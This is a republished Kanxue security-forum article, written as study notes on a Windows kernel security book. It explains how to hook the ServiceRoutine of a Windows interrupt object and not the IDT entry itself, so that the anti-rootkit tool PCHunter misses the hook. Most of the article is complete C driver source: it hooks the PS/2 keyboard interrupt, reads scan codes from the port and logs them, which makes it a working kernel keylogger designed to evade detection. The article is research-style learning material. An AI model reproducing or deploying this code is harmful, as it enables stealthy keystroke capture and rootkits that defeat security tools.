通过Hook InterruptObject来躲避pcHunter的检查
2021-07-01 18:42:08 Author: mp.weixin.qq.com(查看原文) 阅读量:75 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:危楼高百尺
读《Windows内核安全》的一点感悟,记录一下,如有纰漏,还请大家多多批评指正。
本文还是以书上介绍的Hook键盘中断为例,下文的“书”都指的是《Windows内核安全》。
 
这是在Windbg里运行指令!idt -a的输出的IDT表项,一般大家做IDT Hook都是去改红框里的那个地址。
但是这么改pcHunter一下就能识别出来。很显然,pcHunter就是识别IDT表里存的那个地址所在的模块来判定是否被hook的。
 
 
实际上IDT表里写的那个地址并不是实际的中断服务例程,而是对应中断对象的中断分派代码的地址,这个中断分派代码最终会去调用中断服务例程来处理中断,这里有关中断对象的概念可以去看书的第22章。

例如,在IDT的0x81表项存放的地址为0x874b8a58,其实就是对应的中断对象0x874b8a00的DispatchCode成员(偏移为0X58)。

可以去跟到这个中断分派代码(即IDT中存的地址)里去看一看,其实实际上就是去调用对应中断对象的中断服务例程。

874b8a58 54                     push    esp                      ;中断分派代码的开头874b8a59 55                     push    ebp874b8a5a 53                     push    ebx...874b8b39 bf008a4b87             mov     edi, 874B8A00h           ;把中断对象的地址存入edi中874b8b3e e9fd2b99fc             jmp     nt!KiInterruptDispatch (83e4b740)nt!KiInterruptDispatch:83e4b740 8bec                   mov     ebp, esp83e4b742 8b472c                 mov     eax, dword ptr [edi+2Ch]...83e4b7a5 8b4718                 mov     eax, dword ptr [edi+18h]83e4b7a8 50                     push    eax                      ;压栈ServiceContext83e4b7a9 57                     push    edi                      ;压栈中断对象83e4b7aa ff570c                 call    dword ptr [edi+0Ch]      ;调用ServiceRoutine...
那如果我们去Hook这个中断对象中的ServiceRoutine成员,岂不是pcHunter就察觉不到了,效果还与Hook IDT表一样。
 
完整的代码也不长,就贴在下面,代码是基于书附的ps2intcap.c改的,修改的关键部分在HOOK_IDT()函数中。
#include <ntddk.h>// 程序在32位的Win7 pro SP1是跑通的
// 由于这里我们必须明确一个域是多少位,所以我们预先定义几个明// 确知道多少位长度的变量,以避免不同环境下编译的麻烦.typedef unsigned char P2C_U8;typedef unsigned short P2C_U16;typedef unsigned long P2C_U32;
#define P2C_MAKELONG(low, high) \((P2C_U32)(((P2C_U16)((P2C_U32)(low) & 0xffff)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) & 0xffff))) << 16))
#define P2C_LOW16_OF_32(data) \((P2C_U16)(((P2C_U32)data) & 0xffff))
#define P2C_HIGH16_OF_32(data) \((P2C_U16)(((P2C_U32)data) >> 16))
// 从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址#pragma pack(push,1)typedef struct P2C_IDTR_ { P2C_U16 limit; // 范围 P2C_U32 base; // 基地址(就是开始地址)} P2C_IDTR, * PP2C_IDTR;#pragma pack(pop)
// 下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。void* p2cGetIdt(){ P2C_IDTR idtr; // 一句汇编读取到IDT的位置。 _asm sidt idtr return (void*)idtr.base;}
typedef struct _KINTERRUPT{ SHORT Type; SHORT Size; LIST_ENTRY InterruptListEntry; UCHAR * ServiceRoutine; UCHAR * MessageServiceRoutine; ULONG MessageIndex; PVOID ServiceContext; ULONG SpinLock; ULONG TickCount; ULONG * ActualLock; PVOID DispatchAddress; ULONG Vector; UCHAR Irql; UCHAR SynchronizeIrql; UCHAR FloatingSave; UCHAR Connected; CHAR Number; UCHAR ShareVector; char Pad[3]; KINTERRUPT_MODE Mode; KINTERRUPT_POLARITY Polarity; ULONG ServiceCount; ULONG DispatchCount; UINT64 Rsvd1; ULONG DispatchCode[135];} KINTERRUPT, *PKINTERRUPT;
#pragma pack(push,1)typedef struct P2C_IDT_ENTRY_ { P2C_U16 offset_low; P2C_U16 selector; P2C_U8 reserved; P2C_U8 type : 4; P2C_U8 always0 : 1; P2C_U8 dpl : 2; P2C_U8 present : 1; P2C_U16 offset_high;} P2C_IDTENTRY, * PP2C_IDTENTRY;#pragma pack(pop)
P2C_U32 g_old_addr = NULL;// 首先读端口获得按键扫描码打印出来。然后将这个扫// 描码写回端口,以便别的应用程序能正确接收到按键。// 如果不想让别的程序截获按键,可以写回一个任意的// 数据。#define OBUFFER_FULL 0x02#define IBUFFER_FULL 0x01
ULONG p2cWaitForKbRead(){ int i = 100; P2C_U8 mychar; do { _asm in al, 0x64 _asm mov mychar, al KeStallExecutionProcessor(50); if (!(mychar & OBUFFER_FULL)) break; } while (i--); if (i) return TRUE; return FALSE;}
ULONG p2cWaitForKbWrite(){ int i = 100; P2C_U8 mychar; do { _asm in al, 0x64 _asm mov mychar, al KeStallExecutionProcessor(50); if (!(mychar & IBUFFER_FULL)) break; } while (i--); if (i) return TRUE; return FALSE;}
void p2cUserFilter(){ static P2C_U8 sch_pre = 0; P2C_U8 sch; DbgPrint("p2cUserFilter\n"); p2cWaitForKbRead(); _asm in al, 0x60 _asm mov sch, al DbgPrint("p2c: scan code = 0x%x\n", sch); // 把数据写回端口,以便让别的程序可以正确读取。 if (sch_pre != sch) { sch_pre = sch; _asm mov al, 0xd2 _asm out 0x64, al p2cWaitForKbWrite(); _asm mov al, sch _asm out 0x60, al }}
__declspec(naked) p2cInterruptProc(){ __asm { pushad // 保存所有的通用寄存器 pushfd // 保存标志寄存器 push fs mov bx, 0x30 mov fs, bx push ds push es call p2cUserFilter // 调一个我们自己的函数。这个函数将实现 // 一些我们自己的功能 pop es pop ds pop fs popfd // 恢复标志寄存器 popad // 恢复通用寄存器 jmp g_old_addr // 跳到原来的中断服务程序 }}
VOID HOOK_IDT(ULONG nIndex, BOOLEAN b){ PP2C_IDTENTRY idt_item = (PP2C_IDTENTRY)p2cGetIdt(); //将指针指向PS/2中断项 idt_item += nIndex;
//dispatchCode地址 P2C_U32 dispatchCode = P2C_MAKELONG(idt_item->offset_low, idt_item->offset_high); PKINTERRUPT interrupt_object = (PKINTERRUPT)(dispatchCode - 0x58);
if (b) { g_old_addr = interrupt_object->ServiceRoutine; interrupt_object->ServiceRoutine = p2cInterruptProc; DbgPrint("源地址为%x 替换后的地址%x\n", g_old_addr, p2cInterruptProc); } else { interrupt_object->ServiceRoutine = g_old_addr; DbgPrint("替换为原来的地址"); }}#define DELAY_ONE_MICROSECOND (-10)#define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)#define DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000)//驱动卸载函数VOID IDT_Unload(IN PDRIVER_OBJECT DriverObject){ for (int i = 0; i < KeNumberProcessors ;i++ ) { KeSetSystemAffinityThread(i + 1); HOOK_IDT(0x81, FALSE); KeRevertToUserAffinityThread(); }
LARGE_INTEGER interval; DbgPrint("p2c: unloading\n"); // 睡眠5秒。等待所有irp处理结束 interval.QuadPart = (5 * 1000 * DELAY_ONE_MILLISECOND); KeDelayExecutionThread(KernelMode, FALSE, &interval);
}//驱动程序入口NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath){ //处理多核 //书上说是给其他CPU投递DCP进行HOOK来处理多核的情况 //但是我试了试这种方法似乎也可以 for (int i = 0; i < KeNumberProcessors ;i++ ) { KeSetSystemAffinityThread(i + 1); HOOK_IDT(0x81, TRUE); KeRevertToUserAffinityThread(); }
DriverObject->DriverUnload = IDT_Unload; return STATUS_SUCCESS;}

 
不过这种方法不能Hook没有中断对象的表项,就比如int 3中断,IDT表项里直接填的就是中断服务例程。 

 

最后,我感觉这种方法肯定之前有人写过了,但是我搜了一圈也没啥结果,于是就记录一下,供大家参考。
参考资料:
[1]《Windows内核安全与驱动开发》
[2] https://www.4hou.com/posts/wR8w
[3] https://wooyun.js.org/drops/%E6%98%BE%E7%A4%BA%E6%AF%8F%E4%B8%AACPU%E7%9A%84IDT%E4%BF%A1%E6%81%AF.html
[4] https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ke/intobj/kinterrupt.htm
- End -

看雪ID:危楼高百尺

https://bbs.pediy.com/user-home-926584.htm

  *本文由看雪论坛 危楼高百尺 原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458387382&idx=2&sn=e7adbac92d980a11a7d280ad72ac00e3&chksm=b18f333c86f8ba2af405c63364a94ccc5ff46236b03bd690d3956d59f06fda4bb37a4b8e5eda#rd
如有侵权请联系:admin#unsafe.sh